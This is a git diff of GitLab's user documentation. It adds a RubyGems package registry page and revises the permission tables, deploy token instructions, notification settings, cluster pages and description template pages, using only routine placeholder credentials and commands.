+administrators with access to the GitLab Rails console can enable this registry for your instance.
+
+To enable it:
+
+```ruby
+Feature.enable(:rubygem_packages)
+```
+
+To disable it:
+
+```ruby
+Feature.disable(:rubygem_packages)
+```
+
+To enable or disable it for specific projects:
+
+```ruby
+Feature.enable(:rubygem_packages, Project.find(1))
+Feature.disable(:rubygem_packages, Project.find(2))
+```
+
+## Create a Ruby Gem
+
+If you need help creating a Ruby gem, see the [RubyGems documentation](https://guides.rubygems.org/make-your-own-gem/).
+
+## Authenticate to the Package Registry
+
+Before you can push to the Package Registry, you must authenticate.
+
+To do this, you can use:
+
+- A [personal access token](../../../user/profile/personal_access_tokens.md)
+ with the scope set to `api`.
+- A [deploy token](../../project/deploy_tokens/index.md) with the scope set to
+ `read_package_registry`, `write_package_registry`, or both.
+- A [CI job token](#authenticate-with-a-ci-job-token).
+
+### Authenticate with a personal access token or deploy token
+
+To authenticate with a personal access token, create or edit the `~/.gem/credentials` file and add:
+
+```ini
+---
+https://gitlab.example.com/api/v4/projects/<project_id>/packages/rubygems: '<your token>'
+```
+
+- `<your token>` must be the token value of either your personal access token or deploy token.
+- Your project ID is on your project's home page.
+
+### Authenticate with a CI job token
+
+To work with RubyGems commands within [GitLab CI/CD](../../../ci/README.md),
+you can use `CI_JOB_TOKEN` instead of a personal access token or deploy token.
+
+For example:
+
+```yaml
+image: ruby:latest
+
+run:
+ script:
+```
+
+You can also use `CI_JOB_TOKEN` in a `~/.gem/credentials` file that you check in to
+GitLab:
+
+```ini
+---
+https://gitlab.example.com/api/v4/projects/${env.CI_PROJECT_ID}/packages/rubygems: '${env.CI_JOB_TOKEN}'
+```
+
+## Push a Ruby gem
+
+Prerequisites:
+
+- You must [authenticate to the Package Registry](#authenticate-to-the-package-registry).
+- The maximum allowed gem size is 3 GB.
+
+To push your gem, run a command like this one:
+
+```shell
+gem push my_gem-0.0.1.gem --host <host>
+```
+
+Note that `<host>` is the URL you used when setting up authentication. For example:
+
+```shell
+gem push my_gem-0.0.1.gem --host https://gitlab.example.com/api/v4/projects/1/packages/rubygems
+```
+
+This message indicates that the gem uploaded successfully:
+
+```plaintext
+Pushing gem to https://gitlab.example.com/api/v4/projects/1/packages/rubygems...
+{"message":"201 Created"}
+```
+
+To view the published gem, go to your project's **Packages & Registries** page. Gems pushed to
+GitLab aren't displayed in your project's Packages UI immediately. It can take up to 10 minutes to
+process a gem.
+
+### Pushing gems with the same name or version
+
+You can push a gem if a package of the same name and version already exists.
+Both are visible and accessible in the UI. However, only the most recently
+pushed gem is used for installs.
+
+## Install a Ruby gem
+
+The Ruby gems registry for GitLab is under development, and isn't ready for production use. You
+cannot install Gems from the registry. However, you can download `.gem` files directly from the UI
+or by using the [API](../../../api/packages/rubygems.md#download-a-gem-file).
diff --git a/doc/user/packages/workflows/project_registry.md b/doc/user/packages/workflows/project_registry.md
index c63c2cc9989..3e1c1e7f2ad 100644
--- a/doc/user/packages/workflows/project_registry.md
+++ b/doc/user/packages/workflows/project_registry.md
@@ -4,7 +4,7 @@ group: Package
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Store all of your packages in one GitLab project
+# Store all of your packages in one GitLab project **(FREE)**
You can store all of your packages in one project's Package Registry. Rather than using
a GitLab repository to store code, you can use the repository to store all your packages.
diff --git a/doc/user/permissions.md b/doc/user/permissions.md
index bde589661f9..7405c3aade8 100644
--- a/doc/user/permissions.md
+++ b/doc/user/permissions.md
@@ -39,12 +39,13 @@ usernames. A GitLab administrator can configure the GitLab instance to
NOTE:
In GitLab 11.0, the Master role was renamed to Maintainer.
-While Maintainer is the highest project-level role, some actions can only be performed by a personal namespace or group owner,
-or an instance administrator, who receives all permissions. For more information, see [projects members documentation](project/members/index.md).
+The Owner permission is only available at the group or personal namespace level (and for instance administrators) and is inherited by its projects.
+While Maintainer is the highest project-level role, some actions can only be performed by a personal namespace or group owner, or an instance administrator, who receives all permissions.
+For more information, see [projects members documentation](project/members/index.md).
The following table depicts the various user permission levels in a project.
-| Action | Guest | Reporter | Developer |Maintainer| Owner (*10*) |
+| Action | Guest | Reporter | Developer |Maintainer| Owner |
|---------------------------------------------------|---------|------------|-------------|----------|--------|
| Download project | ✓ (*1*) | ✓ | ✓ | ✓ | ✓ |
| Leave comments | ✓ | ✓ | ✓ | ✓ | ✓ |
@@ -65,7 +66,7 @@ The following table depicts the various user permission levels in a project.
| Download and browse job artifacts | ✓ (*3*) | ✓ | ✓ | ✓ | ✓ |
| Create confidential issue | ✓ | ✓ | ✓ | ✓ | ✓ |
| Create new issue | ✓ | ✓ | ✓ | ✓ | ✓ |
-| See related issues | ✓ | ✓ | ✓ | ✓ | ✓ |
+| See linked issues | ✓ | ✓ | ✓ | ✓ | ✓ |
| View [Releases](project/releases/index.md) | ✓ (*6*) | ✓ | ✓ | ✓ | ✓ |
| View requirements **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ |
| View Insights **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ |
@@ -81,18 +82,18 @@ The following table depicts the various user permission levels in a project.
| [Set issue estimate and record time spent](project/time_tracking.md) | | ✓ | ✓ | ✓ | ✓ |
| Lock issue threads | | ✓ | ✓ | ✓ | ✓ |
| Manage issue tracker | | ✓ | ✓ | ✓ | ✓ |
-| Manage related issues | | ✓ | ✓ | ✓ | ✓ |
+| Manage linked issues | | ✓ | ✓ | ✓ | ✓ |
| Manage labels | | ✓ | ✓ | ✓ | ✓ |
| Create code snippets | | ✓ | ✓ | ✓ | ✓ |
| See a commit status | | ✓ | ✓ | ✓ | ✓ |
| See a container registry | | ✓ | ✓ | ✓ | ✓ |
| See environments | | ✓ | ✓ | ✓ | ✓ |
+| See [DORA metrics](analytics/ci_cd_analytics.md) | | ✓ | ✓ | ✓ | ✓ |
| See a list of merge requests | | ✓ | ✓ | ✓ | ✓ |
| View CI/CD analytics | | ✓ | ✓ | ✓ | ✓ |
| View Code Review analytics **(STARTER)** | | ✓ | ✓ | ✓ | ✓ |
| View Repository analytics | | ✓ | ✓ | ✓ | ✓ |
| View Error Tracking list | | ✓ | ✓ | ✓ | ✓ |
-| Create new merge request | | ✓ | ✓ | ✓ | ✓ |
| View metrics dashboard annotations | | ✓ | ✓ | ✓ | ✓ |
| Archive/reopen requirements **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ |
| Create/edit requirements **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ |
@@ -107,6 +108,8 @@ The following table depicts the various user permission levels in a project.
| Upload [Design Management](project/issues/design_management.md) files | | | ✓ | ✓ | ✓ |
| Create/edit [releases](project/releases/index.md)| | | ✓ | ✓ | ✓ |
| Delete [releases](project/releases/index.md)| | | | ✓ | ✓ |
+| Manage merge approval rules (project settings) | | | | ✓ | ✓ |
+| Create new merge request | | | ✓ | ✓ | ✓ |
| Create new branches | | | ✓ | ✓ | ✓ |
| Push to non-protected branches | | | ✓ | ✓ | ✓ |
| Force push to non-protected branches | | | ✓ | ✓ | ✓ |
@@ -169,12 +172,12 @@ The following table depicts the various user permission levels in a project.
| Manage Terraform state | | | | ✓ | ✓ |
| Manage license policy **(ULTIMATE)** | | | | ✓ | ✓ |
| Edit comments (posted by any user) | | | | ✓ | ✓ |
-| Reposition comments on images (posted by any user)|✓ (*11*) | ✓ (*11*) | ✓ (*11*) | ✓ | ✓ |
+| Reposition comments on images (posted by any user)|✓ (*10*) | ✓ (*10*) | ✓ (*10*) | ✓ | ✓ |
| Manage Error Tracking | | | | ✓ | ✓ |
| Delete wiki pages | | | | ✓ | ✓ |
-| View project Audit Events | | | ✓ (*12*) | ✓ | ✓ |
+| View project Audit Events | | | ✓ (*11*) | ✓ | ✓ |
| Manage [push rules](../push_rules/push_rules.md) | | | | ✓ | ✓ |
-| Manage [project access tokens](project/settings/project_access_tokens.md) **(FREE SELF)** | | | | ✓ | ✓ |
+| Manage [project access tokens](project/settings/project_access_tokens.md) **(FREE SELF)** **(PREMIUM SAAS)** (*12*) | | | | ✓ | ✓ |
| View 2FA status of members | | | | ✓ | ✓ |
| Switch visibility level | | | | | ✓ |
| Transfer project to another namespace | | | | | ✓ |
@@ -200,15 +203,16 @@ The following table depicts the various user permission levels in a project.
1. When [Share Group Lock](group/index.md#prevent-a-project-from-being-shared-with-groups) is enabled the project can't be shared with other groups. It does not affect group with group sharing.
1. For information on eligible approvers for merge requests, see
[Eligible approvers](project/merge_requests/merge_request_approvals.md#eligible-approvers).
-1. Owner permission is only available at the group or personal namespace level (and for instance admins) and is inherited by its projects.
1. Applies only to comments on [Design Management](project/issues/design_management.md) designs.
1. Users can only view events based on their individual actions.
+1. Project access tokens are supported for self-managed instances on Free and above. They are also
+ supported on GitLab SaaS Premium and above (excluding [trial licenses](https://about.gitlab.com/free-trial)).
## Project features permissions
### Wiki and issues
-Project features like wiki and issues can be hidden from users depending on
+Project features like [wikis](project/wiki/index.md) and issues can be hidden from users depending on
which visibility level you select on project settings.
- Disabled: disabled for everyone
@@ -290,12 +294,14 @@ group.
| View group Audit Events | | | ✓ (7) | ✓ (7) | ✓ |
| Disable notification emails | | | | | ✓ |
| View Contribution analytics | ✓ | ✓ | ✓ | ✓ | ✓ |
+| View Group DevOps Adoption **(ULTIMATE)** | | ✓ | ✓ | ✓ | ✓ |
| View Insights **(ULTIMATE)** | ✓ | ✓ | ✓ | ✓ | ✓ |
| View Issue analytics **(PREMIUM)** | ✓ | ✓ | ✓ | ✓ | ✓ |
| View Productivity analytics **(PREMIUM)** | | ✓ | ✓ | ✓ | ✓ |
| View Value Stream analytics | ✓ | ✓ | ✓ | ✓ | ✓ |
| View Billing **(FREE SAAS)** | | | | | ✓ (4) |
| View Usage Quotas **(FREE SAAS)** | | | | | ✓ (4) |
+| Manage [group push rules](group/index.md#group-push-rules) **(PREMIUM)** | | | | ✓ | ✓ |
| View 2FA status of members | | | | | ✓ |
| Filter members by 2FA status | | | | | ✓ |
| Administer project compliance frameworks | | | | | ✓ |
@@ -329,7 +335,7 @@ project and should only have access to that project.
External users:
-- Cannot create projects (including forks), groups, or personal snippets.
+- Can only create projects (including forks), subgroups, and snippets within the top-level group to which they belong.
- Can only access public projects and projects to which they are explicitly granted access,
thus hiding all other internal or private ones from them (like being
logged out).
@@ -482,10 +488,6 @@ instance and project. In addition, all admins can use the admin interface under
NOTE:
In GitLab 11.0, the Master role was renamed to Maintainer.
-NOTE:
-GitLab 8.12 has a completely redesigned job permissions system.
-Read all about the [new model and its implications](project/new_ci_build_permissions_model.md).
-
This table shows granted privileges for jobs triggered by specific types of
users:
@@ -507,11 +509,6 @@ users:
1. Only if the user is not an external one
1. Only if the user is a member of the project
-### New CI job permissions model
-
-GitLab 8.12 has a completely redesigned job permissions system. To learn more,
-read through the documentation on the [new CI/CD permissions model](project/new_ci_build_permissions_model.md#new-ci-job-permissions-model).
-
## Running pipelines on protected branches
The permission to merge or push to protected branches is used to define if a user can
diff --git a/doc/user/profile/account/two_factor_authentication.md b/doc/user/profile/account/two_factor_authentication.md
index d26acd50189..23e5bf2d143 100644
--- a/doc/user/profile/account/two_factor_authentication.md
+++ b/doc/user/profile/account/two_factor_authentication.md
@@ -5,7 +5,7 @@ group: Access
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# Two-factor authentication
+# Two-factor authentication **(FREE)**
Two-factor authentication (2FA) provides an additional level of security to your
GitLab account. After being enabled, in addition to supplying your username and
diff --git a/doc/user/profile/index.md b/doc/user/profile/index.md
index 5bcfafa7196..4e4cdf5dc36 100644
--- a/doc/user/profile/index.md
+++ b/doc/user/profile/index.md
@@ -76,6 +76,9 @@ The following is hidden from your user profile page (`https://gitlab.example.com
- Date when account was created
- Tabs for activity, groups, contributed projects, personal projects, starred projects, snippets
+NOTE:
+Making your user profile page private does not hide your public resources from the REST or GraphQL APIs.
+
## Add external accounts to your user profile page
You can add links to certain other external accounts you might have, like Skype and Twitter.
@@ -106,7 +109,8 @@ To show private contributions:
## Set your current status
-> Introduced in GitLab 11.2.
+> - Introduced in GitLab 11.2.
+> - [Improved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56649) in GitLab 13.10.
You can provide a custom status message for your user profile along with an emoji that describes it.
This may be helpful when you are out of office or otherwise not available.
@@ -119,6 +123,7 @@ To set your current status:
1. Select **Set status** or, if you have already set a status, **Edit status**.
1. Set the desired emoji and status message. Status messages must be plain text and 100 characters or less.
They can also contain emoji codes like, `I'm on vacation :palm_tree:`.
+1. Select a value from the **Clear status after** dropdown.
1. Select **Set status**. Alternatively, you can select **Remove status** to remove your user status entirely.
You can also set your current status by [using the API](../../api/users.md#user-status).
diff --git a/doc/user/profile/notifications.md b/doc/user/profile/notifications.md
index 4f28558cca6..4d890e249e7 100644
--- a/doc/user/profile/notifications.md
+++ b/doc/user/profile/notifications.md
@@ -5,12 +5,15 @@ group: Project Management
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
-# GitLab Notification Emails
+# GitLab Notification Emails **(FREE)**
GitLab Notifications allow you to stay informed about what's happening in GitLab. With notifications
enabled, you can receive updates about activity in issues, merge requests, epics, and designs.
Notifications are sent via email.
+For the tool that enables GitLab administrators to send messages to users, read
+[Email from GitLab](../../tools/email.md).
+
## Receiving notifications
You receive notifications for one of the following reasons:
@@ -50,16 +53,16 @@ These notification settings apply only to you. They do not affect the notificati
## Global notification settings
-Your **Global notification settings** are the default settings unless you select different values for a project or a group.
+Your **Global notification settings** are the default settings unless you select
+different values for a project or a group.
-- Notification email
- - This is the email address your notifications are sent to.
-- Global notification level
- - This is the default [notification level](#notification-levels) which applies to all your notifications.
-- Receive product marketing emails
- - Check this checkbox if you want to receive periodic emails related to GitLab features.
-- Receive notifications about your own activity.
- - Check this checkbox if you want to receive notification about your own activity. Default: Not checked.
+- **Notification email**: The email address your notifications are sent to.
+- **Global notification level**: The default [notification level](#notification-levels)
+ which applies to all your notifications.
+- **Receive product marketing emails**: Select this check box to receive periodic
+ emails about GitLab features.
+- **Receive notifications about your own activity**: Select this check box to receive
+ notifications about your own activity. Not selected by default.
### Notification scope
@@ -67,16 +70,16 @@ You can tune the scope of your notifications by selecting different notification
Notification scope is applied in order of precedence (highest to lowest):
-- Project
- - For each project, you can select a notification level. Your project setting overrides the group setting.
-- Group
- - For each group, you can select a notification level. Your group setting overrides your default setting.
-- Global (default)
- - Your global, or _default_, notification level applies if you have not selected a notification level for the project or group in which the activity occurred.
+- **Project**: For each project, you can select a notification level. Your project
+ setting overrides the group setting.
+- **Group**: For each group, you can select a notification level. Your group setting
+ overrides your default setting.
+- **Global (default)**: Your global, or _default_, notification level applies if you
+ have not selected a notification level for the project or group in which the activity occurred.
#### Project notifications
-You can select a notification level for each project. This can be useful if you need to closely monitor activity in select projects.
+You can select a notification level for each project to help you closely monitor activity in select projects.
![notification settings](img/notification_project_settings_v12_8.png)
diff --git a/doc/user/profile/preferences.md b/doc/user/profile/preferences.md
index 78900e145b7..540724f9185 100644
--- a/doc/user/profile/preferences.md
+++ b/doc/user/profile/preferences.md
@@ -51,7 +51,7 @@ See the epic for:
- A list of known issues.
- Our planned direction and next steps.
-If you find an issue that isn’t listed, please leave a comment on the epic or create a
+If you find an issue that isn't listed, please leave a comment on the epic or create a
new issue.
Dark mode is available as a navigation theme, for MVC and compatibility reasons. In
@@ -124,7 +124,7 @@ You can include the following options for your default dashboard view:
### Group overview content
The **Group overview content** dropdown allows you to choose what information is
-displayed on a group’s home page.
+displayed on a group's home page.
You can choose between 2 options:
@@ -134,7 +134,7 @@ You can choose between 2 options:
### Project overview content
The **Project overview content** setting allows you to choose what content you want to
-see on a project’s home page.
+see on a project's home page.
### Tab width
diff --git a/doc/user/project/badges.md b/doc/user/project/badges.md
index 783232ca7f9..1834bc20aee 100644
--- a/doc/user/project/badges.md
+++ b/doc/user/project/badges.md
@@ -15,7 +15,7 @@ points to. Examples for badges can be the [pipeline status](../../ci/pipelines/s
[test coverage](../../ci/pipelines/settings.md#test-coverage-report-badge), or ways to contact the
project maintainers.
-![Badges on Project overview page](img/project_overview_badges.png)
+![Badges on Project overview page](img/project_overview_badges_v13_10.png)
## Project badges
diff --git a/doc/user/project/bulk_editing.md b/doc/user/project/bulk_editing.md
index d7e8133f9ad..76ae4cf596b 100644
--- a/doc/user/project/bulk_editing.md
+++ b/doc/user/project/bulk_editing.md
@@ -33,7 +33,7 @@ When bulk editing issues in a project, you can edit the following attributes:
- [Epic](../group/epics/index.md)
- [Milestone](milestones/index.md)
- [Labels](labels.md)
-- [Health status](issues/index.md#health-status)
+- [Health status](issues/managing_issues.md#health-status)
- Notification subscription
- [Iteration](../group/iterations/index.md)
diff --git a/doc/user/project/clusters/add_remove_clusters.md b/doc/user/project/clusters/add_remove_clusters.md
index 718c60ccf0e..1b4b4f38f4b 100644
--- a/doc/user/project/clusters/add_remove_clusters.md
+++ b/doc/user/project/clusters/add_remove_clusters.md
@@ -231,7 +231,7 @@ To add a Kubernetes cluster to your project, group, or instance:
name: gitlab
namespace: kube-system
---
- apiVersion: rbac.authorization.k8s.io/v1beta1
+ apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: gitlab-admin
diff --git a/doc/user/project/clusters/index.md b/doc/user/project/clusters/index.md
index aabda474043..c2d06e0a22c 100644
--- a/doc/user/project/clusters/index.md
+++ b/doc/user/project/clusters/index.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
@@ -86,7 +86,7 @@ differentiates the new cluster from the rest.
When adding more than one Kubernetes cluster to your project, you need to differentiate
them with an environment scope. The environment scope associates clusters with [environments](../../../ci/environments/index.md) similar to how the
-[environment-specific CI/CD variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables) work.
+[environment-specific CI/CD variables](../../../ci/variables/README.md#limit-the-environment-scope-of-a-cicd-variable) work.
The default environment scope is `*`, which means all jobs, regardless of their
environment, use that cluster. Each scope can be used only by a single cluster
@@ -189,7 +189,7 @@ your cluster. This can cause deployment jobs to fail.
To clear the cache:
-1. Navigate to your project’s **Operations > Kubernetes** page, and select your cluster.
+1. Navigate to your project's **Operations > Kubernetes** page, and select your cluster.
1. Expand the **Advanced settings** section.
1. Click **Clear cluster cache**.
diff --git a/doc/user/project/clusters/kubernetes_pod_logs.md b/doc/user/project/clusters/kubernetes_pod_logs.md
index 349040e0bf6..bafb7d472c6 100644
--- a/doc/user/project/clusters/kubernetes_pod_logs.md
+++ b/doc/user/project/clusters/kubernetes_pod_logs.md
@@ -1,6 +1,6 @@
---
stage: Monitor
-group: Health
+group: Monitor
info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments
---
diff --git a/doc/user/project/clusters/runbooks/index.md b/doc/user/project/clusters/runbooks/index.md
index 7f344349984..e0b8c074fcf 100644
--- a/doc/user/project/clusters/runbooks/index.md
+++ b/doc/user/project/clusters/runbooks/index.md
@@ -26,7 +26,7 @@ pre-written code blocks or database queries against a given environment.
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/45912) in GitLab 11.4.
The JupyterHub app offered via the GitLab Kubernetes integration now ships
-with Nurtch’s Rubix library, providing a simple way to create DevOps
+with Nurtch's Rubix library, providing a simple way to create DevOps
runbooks. A sample runbook is provided, showcasing common operations. While
Rubix makes it simple to create common Kubernetes and AWS workflows, you can
also create them manually without Rubix.
diff --git a/doc/user/project/clusters/serverless/aws.md b/doc/user/project/clusters/serverless/aws.md
index f78fb2ed1ef..f9423c0be2d 100644
--- a/doc/user/project/clusters/serverless/aws.md
+++ b/doc/user/project/clusters/serverless/aws.md
@@ -134,7 +134,7 @@ This example code does the following:
#### Setting up your AWS credentials with your GitLab account
In order to interact with your AWS account, the GitLab CI/CD pipelines require both `AWS_ACCESS_KEY_ID` and `AWS_SECRET_ACCESS_KEY` to be defined in your GitLab settings under **Settings > CI/CD > Variables**.
-For more information please see [Create a custom variable in the UI](../../../../ci/variables/README.md#create-a-custom-variable-in-the-ui).
+For more information please see [Create a custom variable in the UI](../../../../ci/variables/README.md#custom-variables-validated-by-gitlab).
The AWS credentials you provide must include IAM policies that provision correct
access control to AWS Lambda, API Gateway, CloudFormation, and IAM resources.
@@ -403,7 +403,7 @@ production:
environment: production
```
-Let’s examine the configuration file more closely:
+Let's examine the configuration file more closely:
- `image` specifies the Docker image to use for this build. This is the latest Python
image since the sample application is written in Python.
@@ -432,7 +432,7 @@ deploys your application. If your:
To test the application you deployed, please go to the build log and follow the following steps:
-1. Click on “Show complete raw†on the upper right-hand corner:
+1. Click on "Show complete raw" on the upper right-hand corner:
![sam-complete-raw](img/sam-complete-raw.png)
diff --git a/doc/user/project/clusters/serverless/index.md b/doc/user/project/clusters/serverless/index.md
index 0f7f5e23e59..e355b562c36 100644
--- a/doc/user/project/clusters/serverless/index.md
+++ b/doc/user/project/clusters/serverless/index.md
@@ -562,7 +562,7 @@ over `https`, you must manually obtain and install TLS certificates.
The simplest way to accomplish this is to use Certbot to
[manually obtain Let's Encrypt certificates](https://knative.dev/docs/serving/using-a-tls-cert/#using-certbot-to-manually-obtain-let-s-encrypt-certificates).
-Certbot is a free, open source software tool for automatically using Let’s Encrypt
+Certbot is a free, open source software tool for automatically using Let's Encrypt
certificates on manually-administered websites to enable HTTPS.
The following instructions relate to installing and running Certbot on a Linux
diff --git a/doc/user/project/deploy_tokens/index.md b/doc/user/project/deploy_tokens/index.md
index 8606ce36a82..842f167f6ec 100644
--- a/doc/user/project/deploy_tokens/index.md
+++ b/doc/user/project/deploy_tokens/index.md
@@ -5,7 +5,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w
type: howto
---
-# Deploy Tokens
+# Deploy tokens
> - [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/17894) in GitLab 10.7.
> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199370) from **Settings > Repository** in GitLab 12.9.
@@ -23,15 +23,15 @@ Deploy tokens cannot be used with the GitLab API.
If you have a key pair, you might want to use [deploy keys](../../project/deploy_keys/index.md)
instead.
-## Creating a Deploy Token
+## Creating a Deploy token
You can create as many deploy tokens as you need from the settings of your
project. Alternatively, you can also create [group-scoped deploy tokens](#group-deploy-token).
1. Sign in to your GitLab account.
-1. Go to the project (or group) you want to create Deploy Tokens for.
+1. Go to the project (or group) you want to create deploy tokens for.
1. Go to **Settings > Repository**.
-1. Click on "Expand" on **Deploy Tokens** section.
+1. Expand the **Deploy tokens** section.
1. Choose a name, expiry date (optional), and username (optional) for the token.
1. Choose the [desired scopes](#limiting-scopes-of-a-deploy-token).
1. Select **Create deploy token**.
@@ -46,8 +46,8 @@ Deploy tokens expire at midnight UTC on the date you define.
## Revoking a deploy token
-At any time, you can revoke any deploy token by just clicking the respective
-**Revoke** button under the 'Active deploy tokens' area.
+To revoke a deploy token, under the **Active deploy tokens** area,
+select the respective **Revoke** button.
## Limiting scopes of a deploy token
@@ -75,11 +75,11 @@ username to be used when creating the deploy token.
### Git clone a repository
-To download a repository using a Deploy Token, you just need to:
+To download a repository using a deploy token:
-1. Create a Deploy Token with `read_repository` as a scope.
+1. Create a deploy token with `read_repository` as a scope.
1. Take note of your `username` and `token`.
-1. `git clone` the project using the Deploy Token:
+1. `git clone` the project using the deploy token:
```shell
git clone https://<username>:<deploy_token>@gitlab.example.com/tanuki/awesome_project.git
@@ -91,7 +91,7 @@ Replace `<username>` and `<deploy_token>` with the proper values.
To read the container registry images, you must:
-1. Create a Deploy Token with `read_registry` as a scope.
+1. Create a deploy token with `read_registry` as a scope.
1. Take note of your `username` and `token`.
1. Sign in to the GitLab Container Registry using the deploy token:
@@ -108,7 +108,7 @@ pull images from your Container Registry.
To push the container registry images, you must:
-1. Create a Deploy Token with `write_registry` as a scope.
+1. Create a deploy token with `write_registry` as a scope.
1. Take note of your `username` and `token`.
1. Sign in to the GitLab Container Registry using the deploy token:
@@ -125,7 +125,7 @@ push images to your Container Registry.
To pull packages in the GitLab package registry, you must:
-1. Create a Deploy Token with `read_package_registry` as a scope.
+1. Create a deploy token with `read_package_registry` as a scope.
1. Take note of your `username` and `token`.
1. For the [package type of your choice](../../packages/index.md), follow the
authentication instructions for deploy tokens.
@@ -152,12 +152,12 @@ Example response:
To upload packages in the GitLab package registry, you must:
-1. Create a Deploy Token with `write_package_registry` as a scope.
+1. Create a deploy token with `write_package_registry` as a scope.
1. Take note of your `username` and `token`.
1. For the [package type of your choice](../../packages/index.md), follow the
authentication instructions for deploy tokens.
-### Group Deploy Token
+### Group deploy token
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/21765) in GitLab 12.9.
@@ -167,7 +167,7 @@ belong either to the specific group or to one of its subgroups.
<i class="fa fa-youtube-play youtube" aria-hidden="true"></i>
For an overview, see [Group Deploy Tokens](https://youtu.be/8kxTJvaD9ks).
-The Group Deploy Tokens UI is now accessible under **Settings > Repository**,
+The Group deploy tokens UI is now accessible under **Settings > Repository**,
not **Settings > CI/CD** as indicated in the video.
To use a group deploy token:
@@ -179,12 +179,12 @@ To use a group deploy token:
The scopes applied to a group deploy token (such as `read_repository`)
apply consistently when cloning the repository of related projects.
-### GitLab Deploy Token
+### GitLab deploy token
> [Introduced](https://gitlab.com/gitlab-org/gitlab-foss/-/merge_requests/18414) in GitLab 10.8.
-There's a special case when it comes to Deploy Tokens. If a user creates one
-named `gitlab-deploy-token`, the username and token of the Deploy Token is
+There's a special case when it comes to deploy tokens. If a user creates one
+named `gitlab-deploy-token`, the username and token of the deploy token is
automatically exposed to the CI/CD jobs as CI/CD variables: `CI_DEPLOY_USER`
and `CI_DEPLOY_PASSWORD`, respectively.
diff --git a/doc/user/project/description_templates.md b/doc/user/project/description_templates.md
index 2267cb55f16..3acef242cef 100644
--- a/doc/user/project/description_templates.md
+++ b/doc/user/project/description_templates.md
@@ -51,8 +51,10 @@ directory in your repository. Commit and push to your default branch.
To create a Markdown file:
-1. Click the `+` button next to `master` and click **New file**.
-1. Add the name of your issue template to the **File name** text field next to `master`.
+1. In a project, go to **Repository**.
+1. Next to the default branch, select the **{plus}** button.
+1. Select **New file**.
+1. Next to the default branch, in the **File name** field, add the name of your issue template.
Make sure that your file has the `.md` extension, for
example `feature_request.md` or `Feature Request.md`.
1. Commit and push to your default branch.
@@ -61,9 +63,12 @@ If you don't have a `.gitlab/issue_templates` directory in your repository, you
To create the `.gitlab/issue_templates` directory:
-1. Click the `+` button next to `master` and select **New directory**.
+1. In a project, go to **Repository**.
+1. Next to the default branch, select the **{plus}** button.
+1. Select **New directory**.
1. Name this new directory `.gitlab` and commit to your default branch.
-1. Click the `+` button next to `master` again and select **New directory**.
+1. Next to the default branch, select the **{plus}** button.
+1. Select **New directory**.
1. Name your directory `issue_templates` and commit to your default branch.
To check if this has worked correctly, [create a new issue](issues/managing_issues.md#create-a-new-issue)
@@ -89,32 +94,27 @@ For example: `https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_templat
![Description templates](img/description_templates.png)
-### Set an issue and merge request description template at group level **(PREMIUM)**
+You can set description templates at various levels:
-> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52360) in GitLab 13.9.
-> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default.
-> - It's disabled by default on GitLab.com.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to
- [enable it](#enable-or-disable-issue-and-merge-request-description-templates-at-group-and-instance-level).
-
-Templates can be useful because you can create a template once and use it multiple times.
-To re-use templates [you've created](../project/description_templates.md#create-an-issue-template):
-
-1. Go to the group's **Settings > General > Templates**.
-1. From the dropdown, select your template project as the template repository at group level.
+- The entire [instance](#set-instance-level-description-templates)
+- A specific [group or subgroup](#set-group-level-description-templates)
+- A specific [project](#set-a-default-template-for-merge-requests-and-issues)
-![Group template settings](../group/img/group_file_template_settings.png)
+The templates are inherited. For example, in a project, you can also access templates set for the
+instance or the project's parent groups.
-### Set an issue and merge request description template at instance level **(PREMIUM ONLY)**
+### Set instance-level description templates **(PREMIUM SELF)**
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/52360) in GitLab 13.9.
> - It's [deployed behind a feature flag](../feature_flags.md), disabled by default.
-> - It's disabled by default on GitLab.com.
-> - To use it in GitLab self-managed instances, ask a GitLab administrator to
- [enable it](#enable-or-disable-issue-and-merge-request-description-templates-at-group-and-instance-level).
+> - [Became enabled by default](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56737) in GitLab 13.11.
+> - It's enabled by default on GitLab.com.
+> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-issue-and-merge-request-description-templates-at-group-and-instance-level). **(PREMIUM SELF)**
+
+You can set a description template at the **instance level** for issues
+and merge requests.
+As a result, these templates are available in all projects within the instance.
-Similar to group templates, issue and merge request templates can also be set up at the instance level.
-This results in those templates being available in all projects within the instance.
Only instance administrators can set instance-level templates.
To set the instance-level description template repository:
@@ -122,15 +122,41 @@ To set the instance-level description template repository:
1. Select the **Admin Area** icon (**{admin}**).
1. Go to **Settings > Templates**.
1. From the dropdown, select your template project as the template repository at instance level.
+1. Select **Save changes**.
+
+![Setting templates in the Admin Area](../admin_area/settings/img/file_template_admin_area.png)
Learn more about [instance template repository](../admin_area/settings/instance_template_repository.md).
-![Setting templates in the Admin Area](../admin_area/settings/img/file_template_admin_area.png)
+### Set group-level description templates **(PREMIUM)**
+
